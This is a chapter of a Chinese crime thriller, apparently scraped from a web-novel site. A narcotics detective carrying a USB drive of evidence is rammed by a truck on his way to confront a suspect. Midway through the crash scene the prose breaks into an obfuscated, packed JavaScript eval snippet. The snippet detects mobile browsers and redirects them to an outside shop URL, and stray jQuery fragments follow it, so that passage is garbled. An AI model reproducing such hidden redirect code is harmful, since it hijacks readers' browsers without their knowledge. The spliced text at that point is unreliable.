(2020年7月28日云城)
雨。
铺天盖地的暴雨。
豆大的雨点砸在挡风玻璃上,雨刮器开到最快也看不清前路。整个马路空无一人,只有车灯劈开两道昏黄的光柱,照着湿漉漉的路面。
车顺着振阳路往前开,雨刷器在挡风玻璃上划出单调又急促的弧线。按原定路线,上桐海高架,走新苑路出口下去,拐两个弯就是市局。线索不过夜,是黎梁之九年缉毒生涯刻在骨子里的规矩,换作往常,他脚踩油门连半分犹豫都不会有。
可今天不一样。
指尖在方向盘上越攥越紧,指节泛出青白。
他脑子里反复晃的是栾云涧那张脸,冷着眉眼听汇报的样子,低头签文件的侧脸,还有每次见面握手时,左手腕不经意露出来的不知名形状的纹身。
太像了,像到他每次对着卷宗里的证件照,都忍不住走神,要反复看三遍名字才能拉回思绪。
明明知道私自接触嫌疑人严重违纪,明明程序不正义就面临被推翻的可能,但因为那张脸他就是想当面第一百遍地再问一句,你到底是谁?你愿意自首吗?
车开到桐海高架东段,离新苑路出口还有两公里时,他猛地打了右转向灯,从北塘路口下去。
他改了主意。
不去市局了。先去湖滨别墅,先见栾云涧。
直行的红灯亮起,他停了下来,扭头看了看副驾座位上那个磨砂黑的加密U盘,这是他蹲守了半年,靠隐姓埋名三年的线人用半条命换回来的东西,里面存着元序化工涉嫌跨境资金异动及涉毒关联的相关证据,还有19年列管前元序化工可能存在非法合成的相关证据。
路口的红灯闪烁过后跳成绿灯,黎梁之深吸口气继续前行,左侧忽然冲过来一道刺眼的远光。
一辆满载的大货车遇见红灯也丝毫没有减速,直直朝着他的侧面撞了过来。
黎梁之瞳孔骤缩。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17839568|211589||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
根本来不及多想,他本能地猛打方向盘,车身向右急转。巨大的撞击力还是狠狠砸在了左后侧,整辆车像片叶子似的被撞得旋了出去,护栏被撞得变形,金属撕裂的声音刺耳得要命。
震耳欲聋的巨响之后是反常的死寂,像是过了一个世纪那么久,他的意识才一点点从混沌里沉回来。
尖锐的耳鸣贴着颅骨嗡嗡作响,盖过了窗外的瓢泼雨声。安全气囊顶着胸腔死死压着肺部,每一次呼吸都扯着钝痛。温热的液体自额角流进眼睛里,血红色的视线里,一个黑衣人从大货车上跌跌撞撞地朝他跑来。
“U盘……”他张了张嘴,发不出声音,只有咸腥的血气漫进喉咙。
涣散的目光颤了颤,最终钉死在副驾脚垫上。他费劲地伸出右手用尽最后一丝力气触碰到那个跌落在副驾脚垫上的U盘。
剧烈的眩晕袭来,意识像被拽进了深不见底的漩涡。
“栾云涧......”